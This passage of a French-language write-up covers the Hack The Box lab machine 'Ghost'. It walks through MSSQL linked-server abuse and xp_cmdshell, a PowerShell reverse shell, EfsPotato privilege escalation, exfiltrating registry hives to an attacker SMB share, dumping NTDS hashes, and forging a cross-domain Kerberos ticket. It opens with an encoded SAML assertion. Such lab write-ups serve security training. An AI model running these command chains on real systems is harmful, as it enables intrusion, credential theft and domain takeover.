dGlmaWNhdGU%2BTUlJRTVqQ0NBczZnQXdJQkFnSVFKRmNXd015YlJhNU80K1dPNXRXb0dUQU5CZ2txaGtpRzl3MEJBUXNGQURBdU1Td3dLZ1lEVlFRREV5TkJSRVpUSUZOcFoyNXBibWNnTFNCbVpXUmxjbUYwYVc5dUxtZG9iM04wTG1oMFlqQWdGdzB5TkRBMk1UZ3hOakUzTVRCYUdBOHlNVEEwTURVek1ERTJNVGN4TUZvd0xqRXNNQ29HQTFVRUF4TWpRVVJHVXlCVGFXZHVhVzVuSUMwZ1ptVmtaWEpoZEdsdmJpNW5hRzl6ZEM1b2RHSXdnZ0lpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElDRHdBd2dnSUtBb0lDQVFDK0FBT0lmRXF0bFljbjE1M0wxQnZHUWdEeVhUbll3VFJ6c0s1OSt6RTF6Z0dLTzlONW5iOEZrK2RhS3BXTFFhaUg3b0RIYWVudy9RYXhCZzVxZGVEWW1EM296OEt5YUExeWdZQnJ6bTR3VzdGZjg3cks5RmU1SjUvaDZXOWc3NDloNUJJcVBRT3AwbDZzMXJmdW1PY2NONHliVzk1RVdOTDB2dVFYdkMrS1E0RDRnTVh1OG1DR3B4dHZJTDhpbE50SnVJRzNPUllTS2hSYWwweXlKZU9oRzR4Z2xyWkpGMThwOXdobkU2b21nZ21BNm4yc2hEay90dlRZamlpNWU3L2ljV1RLa3JzTUNwYUtVTms3bXhkTVpoUWFiN1NtZktyWk40cFJEN2RWZzV6ekl5RDdVelM5Q0hMQzZ4TnpxL1owaHVhT2FKaE9TZEpTZ2F0L2JzRzhuYngxOUhELyt5cFc5SjJMdE5GdWdkV3RtVUJXRE9RQllWaEI4U2c0VkVHZ1A5anlJdEhIMmJ6c0RmalJkSjhFMXVOSldQL2tRQTErd1lsT2RkTHFVM2IwSXNDdmxBOEV2WVcwVDFSc3U3N280eC93MGdXYjBvUVBFSXo3ejk3M2I0OTZ3cVF0M0RueWZlTzNsWFhmWk5jdmFqNUtDUDJUdEdCK0tzaEY5cGtJUHhxN0YyZ01oN1FqeGpSSHNBMjlWOGpGbzlnTEQ3a1BWaWNhSVVkc2dpRkhuWVFGMTRhNTJKdFIxVjVpTitoOTVKa3V1RXFRV0RCSEF2UEVCQlprRVpIKzV5VCthQ0ZYWFgrQnBQdDNRR2pZTGVKVThDRnNNdG44UVZMWXZMZGNWUnNVblJoL1dIaVh3Sk9PRVZFQ2E5dzcveVZuaGFsQ05CeDFFL2w0S1FJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUNBUUFXWUtaVzNjRENCTzZkVDN5ZmwzT2N1eXAxTFZLVkkrOXBGeC9iYldwV2pTZGg2YjM5TFR4eEQ3RllVdGh1V1BaM3JGNEcrRmRNRkhIQ3gzWXBFbVVGbkVMS3NYcWhaOTg5QVg1OEkvM21iZlVsS1dlSVBMU0xrcCtlUlpvTUprdDdrMS9LWHREYXNPUW4wTnNnWUVvd0xCSW1NQ011OXV1am5DbUZPd0hQL0lCaGdZUU1IaDQ2QnpTWFdQM2k4VlhiclJ0RHBvL2MvL09GSmhHbW5uRjhaUG1pNHh0emZTREJwVktxd1ZMcDc4Q2d1TXhqUWQrYmRVYjQ1NTg4Wko0Q0xzUGRSUXAzMFdKMS9DTklhZW52Sld0QTJHNUladzVVMEVXQ0pMb1lKV0ZzOWl5T2ExL3k1NXJ1VzZKOGxJR0Qwd21vRWVDbDlDSDFFZDRkelVkVVhmMU1CQ1lQM1g5MmlheHpVRTB1cEdkLzFRbzZIVHl5T2xXdUF3cmtUMlZIRUxLVlpLT2c4K2RseTk3Z3laSWZVdFF3SWtQd05sOHZvMDRjZmoraHpPdkJ6UEtBQVloMTROTGd2ZUFJL0RxTW5PME9LTyt3MUhCS3c2NE5CQ244Z29hekYrUHVGZlVPMHlOSEZMNGt4TXBjYXA2aWV2NmczQlhDU0R3ZnFUVU9FdUVzN3E5b1lLZ3EycW5OVk9USWhoSW5NWEJ6RW02aVAxM2pmdU9vWEpkUEFuRVVYbjR5NXl3QTk3cnRiR25aRVB5eDFmMUVrWC9oYnFCUDR2b2d2OWtsdGFVRUVWWGtTK2hQcHhabWV4Q05yQkQxcTdHSi81MGViWWxDMENldjh3Nk1zOHRNME9ydnBwR1lsV3J0UHdldkV2ZmlSa3dCTEc3RU1BbkxTdz09PC9kczpYNTA5Q2VydGlmaWNhdGU%2BPC9kczpYNTA5RGF0YT48L2RzOktleUluZm8%2BPC9kczpTaWduYXR1cmU%2BPFN1YmplY3Q%2BPE5hbWVJRCBGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpuYW1laWQtZm9ybWF0OnRyYW5zaWVudCI%2BR0hPU1QuSFRCXGFkbWluaXN0cmF0b3I8L05hbWVJRD48U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPjxTdWJqZWN0Q29uZmlybWF0aW9uRGF0YSBOb3RPbk9yQWZ0ZXI9IjIwMjUtMDQtMDRUMjE6MzA6MjUuMDAwWiIgUmVjaXBpZW50PSJodHRwczovL2NvcmUuZ2hvc3QuaHRiOjg0NDMvYWRmcy9zYW1sL3Bvc3RSZXNwb25zZSIvPjwvU3ViamVjdENvbmZpcm1hdGlvbj48L1N1YmplY3Q%2BPENvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDI1LTA0LTA0VDIxOjI1OjI1LjAwMFoiIE5vdE9uT3JBZnRlcj0iMjAyNS0wNC0wNFQyMjoyNToyNS4wMDBaIj48QXVkaWVuY2VSZXN0cmljdGlvbj48QXVkaWVuY2U%2BaHR0cHM6Ly9jb3JlLmdob3N0Lmh0Yjo4NDQzPC9BdWRpZW5jZT48L0F1ZGllbmNlUmVzdHJpY3Rpb24%2BPC9Db25kaXRpb25zPjxBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF0dHJpYnV0ZSBOYW1lPSJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy91cG4iPjxBdHRyaWJ1dGVWYWx1ZT5HSE9TVFxhZG1pbmlzdHJhdG9yPC9BdHRyaWJ1dGVWYWx1ZT48L0F0dHJpYnV0ZT48QXR0cmlidXRlIE5hbWU9Imh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL2NsYWltcy9Db21tb25OYW1lIj48QXR0cmlidXRlVmFsdWU%2BQWRtaW5pc3RyYXRvcjwvQXR0cmlidXRlVmFsdWU%2BPC9BdHRyaWJ1dGU%2BPC9BdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPEF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAyNS0wNC0wNFQyMToyNToyNC41MDBaIiBTZXNzaW9uSW5kZXg9Il84MjJUUDEiPjxBdXRobkNvbnRleHQ%2BPEF1dGhuQ29udGV4dENsYXNzUmVmPnVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphYzpjbGFzc2VzOlBhc3N3b3JkUHJvdGVjdGVkVHJhbnNwb3J0PC9BdXRobkNvbnRleHRDbGFzc1JlZj48L0F1dGhuQ29udGV4dD48L0F1dGhuU3RhdGVtZW50PjwvQXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B
Exploitation de la base de données liée dans MSSQL #
Nous pouvons ajouter le sous-domaine corp.ghost.htb
à notre /etc/hosts
et regarder comment fonctionne ce terminal MSSQL. Il semble que nous l’utilisions en tant que web_client
:
- Nous pouvons aussi vérifier que nous ne pouvons pas utiliser
xp_cmdshell
avec nos privilèges actuels. Dommage. - Nous voyons que les bases de données sont :
- master
- tempdb
- model
- msdb
Avec la commande suivante nous arrivons à obtenir le hash de l’utilisateur DC01$.
EXEC master..xp_dirtree '\\<MY_IP>\share\'
sudo responder -w -v -I tun0
Ce NetNTLM Hash ne nous aide pas, alors vérifions si nous pouvons faire de l’impersonnation :
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Non plus mlaheureusement, voyons si cette base de données est liée à une autre base de données (comme l’indique le texte au-dessus du formulaire) :
SELECT srvname, isremote FROM sysservers
Nous pouvons voir que la base de données PRIMARY
est liée (isremote
est à false
) :
Nous pouvons obtenir des informations sur le serveur à l’autre bout :
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [PRIMARY]
Elevation de privilèges du serveur MSSQL distant et reverse shell #
Cela signifie que nous pouvons exécuter la commande en tant que bridge_corp sur l’autre base de données. Nous pouvons également le vérifier en utilisant
EXEC sp_helplinkedsrvlogin
Nous pouvons vérifier si xp_cmdshell est activé (pas le cas dommage) :
EXECUTE('xp_cmdshell ''dir c:\''') AT [PRIMARY]
Vérifions donc, comme nous l’avons fait précédemment, si nous pouvons faire de l’impersonnation :
EXECUTE(' SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT [PRIMARY]
EXECUTE('EXECUTE AS LOGIN = ''sa'' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [PRIMARY]
Nous pouvons maintenant activer l’exécution des commandes :
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXECUTE sp_configure ''show advanced options'', 1 RECONFIGURE EXECUTE sp_configure ''xp_cmdshell'', 1 RECONFIGURE') AT [PRIMARY]
Maintenant nous pouvons exécuter n’importe quelle commande avec
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC xp_cmdshell ''<CMD>''') AT [PRIMARY]
Exemple :
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC xp_cmdshell ''dir C:\''') AT [PRIMARY]
Exécutons maintenant un reverse shell PowerShell base64 à partir de https://www.revshells.com/ On démarre un listener :
rlwrap -cAr nc -lnvp 4444
Nous lançons le reverse shell PowerShell base64 mais nous obtenons une erreur ! Bonne chose puisque cela signifie que le code a été exécuté, mauvaise chose puisque cela signifie que l’antivirus vérifie ce qui s’exécute :
powerjoker
et 🎉 voici le shell :)
Élevation de privilèges sur la machine Windows #
Nous avons maintenant le privilège seimpersonate
ce qui est très utile 😁
Nous pouvons alors essayer de récupérer le code pour efspotato et le compiler sur la machine : ``bash wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs python -m http. server
puis
```powershell
(New-Object Net.WebClient).DownloadFile('http://10.10.16.64:8000/EfsPotato.cs','C:\Users\Public\a.cs')
csc n’est pas dans le chemin (ou potentiellement pas installé, mais heureusement il l’était) mais nous savons que le csc.exe devrait être dans c:\Windows\Microsoft.NET\Framework\vX.X.XXX
en se basant sur la doc.
On utilise la commande fournie dans la documentation pour compiler avec la version 4.X
Nous pouvons maintenant générer une payload powershell avec PowerJocker, mais pour le port 4242
cette fois-ci, et la passer à notre EFSpotato (cadre vert) pour finalement obtenir un résultat (cadre rouge) :
Exploitation du lien de confiance pour obtenir un accès d’administrateur sur le domaine parent #
Donc maintenant que nous sommes l’administrateur de cette machine, nous pouvons être capables de passer de corp.ghost.htb
à ghost.htb
en exploitant le lien de confiance entre les deux. Pour ce faire, nous pouvons créer un ticket sur le domaine parent pour un compte enfant, si nous avons la clef de confiance.
On dump le registre avec reg save
:
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
sudo impacket-smbserver share . -smb2support -username pentester -password 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
net use \\10.10.16.64\share /u:pentester 92b165232fbd011da355eca0b033db22b934ba9af0145a437a832d27310b89f9
copy C:\sam.save \\10.10.16.64\share\
copy C:\security.save \\10.10.16.64\share\
copy C:\system.save \\10.10.16.64\share\
Puis on lance
secretsdump.py -sam sam.save -security security.save -system system.save LOCAL > ../loots/DC01/dump
Nous avons le hash de la machine et pouvons maintenant l’utiliser pour dump la NTDS, et obtenir la clef de confiance afin d’utiliser ticketer.py
.
Pour cela, nous devons mettre en place un proxy réseau puisque la machine n’est pas dans le même sous-réseau.
sudo ip tuntap add user kali mode tun ligolo1
sudo ip link set ligolo1 up
ligolo-proxy -selfcert -laddr 0.0.0.0:443
sudo ip route add 10.0.0.0/24 dev ligolo1
Et exécuter dans l’interface ligolo :
start --tun ligolo1
Puis on éxécute
nxc smb 10.0.0.10 -u 'PRIMARY$' -H '27f92da5e3d79962020ddebc08ed7d70' --ntds
Et tada :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:41515af3ada195029708a53d941ab751:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:69eb46aa347a8c68edb99be2725403ab::: PRIMARY$:1000:aad3b435b51404eeaad3b435b51404ee:27f92da5e3d79962020ddebc08ed7d70::: GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
Pour accéder au domaine parent il nous faut :
- la clef de confiance :
GHOST$:1103:aad3b435b51404eeaad3b435b51404ee:00734331c444199a36bf9b2b1a69e5d5:::
- Le SID du domaine parent :
S-1-5-21-4084500788-938703357-3654145966
auquel on concatène-519
pour lesEnterprise Admins
(cf cette doc) - Le SID du domaine enfant :
S-1-5-21-2034262909-2733679486-179904498
On peut trouver les 2 SID sur bloodhound par exemple dansanalysis
>map domain trust
et en regardant les informations de chaque domaine
Et nous créons le ticket en utilisant :
ticketer.py -nthash '00734331c444199a36bf9b2b1a69e5d5' -domain 'corp.ghost.htb' -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/'ghost.htb' Administrator
Nous pouvons maintenant exporter le ticket :
export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator.ccache
Et avec ça on peut demander un TGS pour accéder aux partages SMB sur le DC :
getST.py -k -no-pass -spn 'CIFS/DC01' 'ghost.htb'/'Administrator@corp.ghost.htb'
On exporte
export KRB5CCNAME=~/Documents/HTB/Boxes/Ghost/loots/AD/Administrator@corp.ghost.htb@CIFS_DC01@GHOST.HTB.ccache
Et nous pouvons (enfin !) récupérer le flag !
smbclient.py 'corp.ghost.htb'/'Administrator'@DC01 -k -no-pass
PS : J’ai vu par la suite que Ippsec venait de publier un writeup vidéo qui est excellent ! Si vous voulez une version vidéo, n’hésitez pas à y jeter un coup d’œil :